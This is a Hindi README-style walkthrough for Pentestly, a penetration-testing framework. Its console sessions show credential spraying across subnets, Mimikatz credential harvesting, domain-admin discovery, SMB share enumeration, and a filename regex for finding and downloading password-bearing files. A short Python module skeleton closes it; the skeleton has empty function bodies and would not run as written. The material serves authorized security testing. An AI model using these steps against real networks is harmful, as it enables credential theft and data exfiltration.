
Python और Powershell आंतरिक पैठ परीक्षण ढांचा
Pentestly, पेनिट्रेशन परीक्षणों में उपयोग के लिए विस्तारित Python टूल्स का एक संयोजन है। लक्ष्य एक परिचित उपयोगकर्ता इंटरफ़ेस का उपयोग करना है, साथ ही Python की शक्ति के साथ फ्रेमवर्क में योगदान को आसान बनाना है।
ब्लॉग पोस्ट: Pentestly Framework: When Pentesting Meets Python and Powershell
लेखक: @ctfhacker / Cory Duplantis
Pentestly, दिग्गजों के कंधों पर खड़ा है। नीचे Pentestly में उपयोग किए जाने वाले वर्तमान उपकरण दिए गए हैं:
recon-ng - recon-ng के लिए बैकएंड डेटाबेस बहुत खूबसूरती से बनाया गया है और डेटा हेरफेर के लिए Pentestly में इसका लाभ उठाया गया है
wmiexec.py - हमें WMI के माध्यम से PowerShell कमांड को जल्दी और आसानी से निष्पादित करने की अनुमति देता है
smbmap.py - SMB शेयरों की गणना के लिए उपयोगी उपयोगिता
Invoke-Mimikatz.ps1 - PowerShell में Mimikatz का कार्यान्वयन
powercat.ps1 - PowerShell में Netcat जैसी कार्यक्षमता
Invoke-Shellcode.ps1 - PowerShell में Meterpreter तैनात करें
CrackMapExec - Pentestly में सरल Mimikatz सर्वर के लिए प्रेरणा का स्रोत
git clone https://github.com/praetorian-inc/pentestly.git
./install.sh
./pentestly
आइए वर्तमान में लागू किए गए कई कार्यों के माध्यम से चलते हैं।
[pentestly][default] > workspaces list
+------------+
| Workspaces |
+------------+
| default |
+------------+
[pentestly][default] > workspaces add project
[pentestly][project] > workspaces select project
[pentestly][project][nmap_xml] > load nmap
[pentestly][project][nmap_xml] > set filename /root/PROJECT/full-all-alive.xml
FILENAME => /root/PROJECT/full-all-alive.xml
[pentestly][project][nmap_xml] > show options
Name Current Value Required Description
-------- ------------- -------- -----------
FILENAME /root/PROJECT/full-all-alive.xml yes Path and filename for nmap XML input
[pentestly][project][nmap_xml] > run
क्रेडेंशियल्स वाली फ़ाइल का उपयोग करके लॉगिन का परीक्षण करें
[pentestly][project][login] > cat /tmp/creds
[*] Command: cat /tmp/creds
user1 pass1
user2 pass2
[pentestly][project][login] > load login
[pentestly][project][login] > set userpass_file /tmp/creds
USERPASS_FILE => /tmp/creds
[pentestly][project][login] > set username ''
USERNAME => ''
[pentestly][project][login] > set password ''
PASSWORD => ''
[pentestly][project][login] > run
एकल उपयोगकर्ता नाम पासवर्ड का उपयोग करें
[pentestly][project][login] > load login
[pentestly][project][login] > set username admin
USERNAME => admin
[pentestly][project][login] > set password password
PASSWORD => password
[pentestly][project][login] > set userpass_file ''
USERPASS_FILE => ''
[pentestly][project][login] > run
IP के एक छोटे उपसमूह पर क्रेडेंशियल्स का उपयोग करें अर्थात तालिका में पाए गए 192.168.8.0/24 पर
[pentestly][project][login] > load login
[pentestly][project][login] > set username admin
USERNAME => admin
[pentestly][project][login] > set password password
PASSWORD => password
[pentestly][project][login] > set userpass_file ''
USERPASS_FILE => ''
[pentestly][project][login] > run
[pentestly][project][login] > set source query select * from pentestly_creds where host like '192.168.8.%'
[pentestly][project][login] > load get_domain # Notice fuzzy searching - get_domain finds get_domain_admin_names
[pentestly][project][get_domain_admin_names] > show options
Name Current Value Required Description
------ ------------- -------- -----------
SOURCE default yes source of input (see 'show info' for details)
[pentestly][project][get_domain_admin_names] > run
[*] Found Domain Admin: domain\admin1
[*] Found Domain Admin: domain\admin2
[pentestly][default][get_domain_admin_names] > load mimi
[pentestly][default][mimikatz] > run
Select local interface for hosting scripts
0. 127.0.0.1
1. 10.220.8.94
2. 172.27.67.14
> 1
[*] Execution creds: domain\Admin:[email protected]
[*] Success! Admin.DA:p@$$w0rd - DOMAIN ADMIN!
[pentestly][default][show_local_admins] > load show_local_admins
[pentestly][default][show_local_admins] > run
+---------------------------------------------------------------------------------------------------------------+
| host | access | username | password | domain | process | logged_in | success | execute | module |
+---------------------------------------------------------------------------------------------------------------+
| 10.202.208.112 | | nsportsman | password1! | zojix | | | True | True | login |
+---------------------------------------------------------------------------------------------------------------+
[pentestly][default][show_domain_admins] > load show_domain_admins
[pentestly][default][show_domain_admins] > run
+--------------------------------------------------------------------------------------------------------------------------+
| host | access | username | password | domain | process | logged_in | success | execute | module |
+--------------------------------------------------------------------------------------------------------------------------+
| 10.202.208.112 | Domain Admin | TheRealDA | </l33TPassword> | zojix | | | True | True | login |
+--------------------------------------------------------------------------------------------------------------------------+
[pentestly][default] > load enums
[pentestly][default][enumshares] > run
[*] Execution creds: workgroup\Administrator:[email protected]
defaultdict(<type 'list'>, {'readonly': [u'ADMIN$', u'C', u'C$', u'Users'], 'noaccess': [u'IPC$']})
[pentestly][default][interesting_files] > show pentestly_shares
+------------------------------------------------------------------------------------------------+
| rowid | host | username | readwrite | readonly | noaccess | module |
+-------------------------------------------------------------------------------------------------+
| 1 | 192.168.224.252 | Administrator | | ADMIN$,C,C$,Users | IPC$ | enumshares |
+-------------------------------------------------------------------------------------------------+
[pentestly][default][interesting_files] > show options
Name Current Value Required Description
------- ------------- -------- -----------
PATTERN (Groups.xml|Services.xml|Printers.xml|Drives.xml|DataSources.xml|ScheduledTasks.xml|unattend|important|passw|backup|setup).*[^dll][^exe]$ yes Regex pattern to look for in filenames
SOURCE default yes source of input (see 'show info' for details)
pattern को थोड़ा और विशेषीकृत कुछ में बदल सकते हैं
[pentestly][default][interesting_files] > set pattern important.txt|super_secret
PATTERN => important.txt|super_secret
[pentestly][default][interesting_files] > show options
Name Current Value Required Description
------- ------------- -------- -----------
PATTERN important.txt|super_secret yes Regex pattern to look for in filenames
SOURCE default yes source of input (see 'show info' for details)
मिली फ़ाइलों को निष्पादित करें और डाउनलोड करें
[pentestly][default][interesting_files] > run
[*] Administrator
[*] Execution creds: workgroup\Administrator:[email protected]
[+] Match found! Downloading: Users\Administrator\Desktop\important.txt.txt
192.168.224.252-Users_Administrator_Desktop_important.txt.txt
[+] Match found! Downloading: Users\Administrator\Desktop\super_secret.txt
192.168.224.252-Users_Administrator_Desktop_super_secret.txt
Pentestly में नए मॉड्यूल बनाना आसान है। skeleton.py में दिए गए कोड से शुरू करें:
from libs.pentestlymodule import PentestlyModule
class Module(PentestlyModule):
meta = {
'name': 'Your module name goes here',
'author': 'Developer name goes here',
'description': 'Description of the module goes here',
'query': 'SQL QUERY whose result is passed to your module',
'options': (
('Option1', 'Default Value', Required-True/False, 'Description of option'),
),
}
def module_pre(self):
# Optional
# Happens before your module
def module_run(self, data):
# Required
# data is the result from the SQL query set in the options
### Few magic functions
# self.query - Perform an SQL query on the internal database
results = self.query("select * from pentestly_creds")
# self.output - print default information to the user
self.output("Performed an SQL query")
self.output(results)
# self.alert - print successful message to the user
self.success("Yay! We performed successful work")
def module_post(self):
# Optional
# Happens after your module
यहाँ मुख्य बिंदु meta डिक्शनरी को संबंधित जानकारी से भरना है और मॉड्यूल कार्यक्षमता के लिए module_run फ़ंक्शन भी।
यह स्क्रिप्ट तब पोर्टेबिलिटी के लिए modules/ फ़ोल्डर या आपके व्यक्तिगत ~/.pentestly/modules फ़ोल्डर में रखी जाती है।
आने वाले हफ्तों में एक विस्तृत उदाहरण स्क्रिप्ट स्पष्टीकरण के लिए बने रहें।
secretsdump.py मॉड्यूल लागू करेंcreds, services के समान डेटाबेस क्वेरी के लिए उपयोगिता फ़ंक्शन जोड़ेंप्रारंभिक रिलीज़